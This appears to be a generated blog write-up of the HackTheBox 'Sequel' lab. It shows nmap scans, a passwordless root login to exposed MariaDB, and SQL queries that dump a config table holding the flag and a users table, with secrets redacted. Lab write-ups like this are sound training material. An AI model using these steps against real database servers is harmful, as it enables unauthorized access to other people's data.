Sequel
Sequel is an Easy Starting Point machine on HackTheBox running Linux (Debian 10). The only exposed service is MariaDB 10.3.27 on port 3306, accessible as root with no password. The flag is stored in a database table. Result: Single open port -- 3306/tcp...
Scenario
Sequel attack path
Sequel is an Easy Starting Point machine on HackTheBox running Linux (Debian 10). The only exposed service is MariaDB 10.3.27 on port 3306, accessible as root with no credential. The proof is stored in a database table. Result: Single open port -- 3306/tcp...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Enumeration
Exploitation
Lessons Learned
Phase 0: Setup
Phase 1: Recon
Source coverage
Moderate source coverage
Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.
- <TARGET>-Sequel/walkthrough.md
- HTB/<TARGET>-Sequel/notes.md
Technical Walkthrough
Sequel - Walkthrough
Overview
Sequel is an Easy Starting Point machine on HackTheBox running Linux (Debian 10). The only exposed service is MariaDB 10.3.27 on port 3306, accessible as root with no password. The flag is stored in a database table.
Enumeration
Port Scan
nmap -sC -sV <TARGET>Result: Single open port -- 3306/tcp running MariaDB 10.3.27-0+deb10u1.
nmap -p<redacted> --min-rate 5000 <TARGET>Result: Confirmed only 3306 is open (two filtered high ports are noise).
Service Details
- MariaDB 10.3.27 on Debian 10 (Buster)
- Protocol 10, mysql_native_password authentication
- Autocommit enabled
Exploitation
MySQL Root with No Password
The name "Sequel" is a pun on SQL, hinting at a database-focused box. The first thing to try on an Easy box with MySQL exposed is root with no password:
mysql -h <TARGET> -u rootResult: Connection successful. Full root access to MariaDB.
Database Enumeration
SHOW <secret redacted>;htb
information_schema
mysql
performance_schemaThe htb database is the target:
USE htb;
SHOW TABLES;config
usersFlag Retrieval
SELECT * FROM config;| id | name | value |
|---|---|---|
| 1 | timeout | 60s |
| 2 | security | default |
| 3 | auto_logon | false |
| 4 | max_size | 2M |
| 5 | flag | <hash redacted> |
| 6 | enable_uploads | false |
| 7 | authentication_method | radius |
Users Table
SELECT * FROM users;| id | username | |
|---|---|---|
| 1 | admin | <email redacted> |
| 2 | lara | <email redacted> |
| 3 | sam | <email redacted> |
| 4 | mary | <email redacted> |
Flag
<hash redacted>
Lessons Learned
- Machine name is a hint -- "Sequel" = SQL. Always consider the name as a clue to the attack vector.
- Always try no-password root on exposed MySQL/MariaDB -- especially on Easy boxes, this is a common pattern.
- Single-port boxes are straightforward -- when only one port is open, the entire attack path goes through that service.
- Enumerate all databases and tables -- flags and credentials can be stored anywhere in the database, not just obvious table names.
Tools Used
- nmap (port scanning, service/version detection)
- mysql client (database access)
Source-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Target Details
- IP: <TARGET>
- Name: Sequel
- OS: Linux (Debian 10 Buster)
- Difficulty: Easy (Starting Point)
- Attacker IP: <TARGET> (Pwnbox VPN)
- Started: 2026-05-05
- Completed: 2026-05-05
- Solve Time: ~5 minutes
Hypothesis
Name "Sequel" = SQL pun. Expected MySQL/MariaDB with weak/no auth. Confirmed.
Phase 0: Setup
- [x] Workspace created at <local workspace><TARGET>-Sequel/
- [x] Pwnbox SSH verified (x08@<TARGET>)
- [x] VPN IP confirmed: <TARGET>
- [x] Target reachable: ping OK (303ms)
Phase 1: Recon
- [x] Full TCP scan: only 3306/tcp open (mysql)
- [x] Service: MariaDB 10.3.27 on Debian 10
- [x] Auth plugin: mysql_native_password
- No web, SSH, or other services exposed
Phase 3: Synthesis
- Single open port: MySQL/MariaDB 3306
- Root login with no password is the obvious vector for an Easy Starting Point box
- No privesc needed -- this is a single-flag box
Phase 4: Foothold / Flag
- [x] Connected as root with no password:
mysql -h <TARGET> -u root - [x] Found
htbdatabase withconfiganduserstables - [x] Flag stored in
htb.configtable under name='flag'
Credentials Found
| User | Password | Service |
|---|---|---|
| root | (none) | MySQL |
Users Discovered
- <email redacted>
- <email redacted>
- <email redacted>
- <email redacted>
Flag
- Flag:
<hash redacted>(from htb.config table)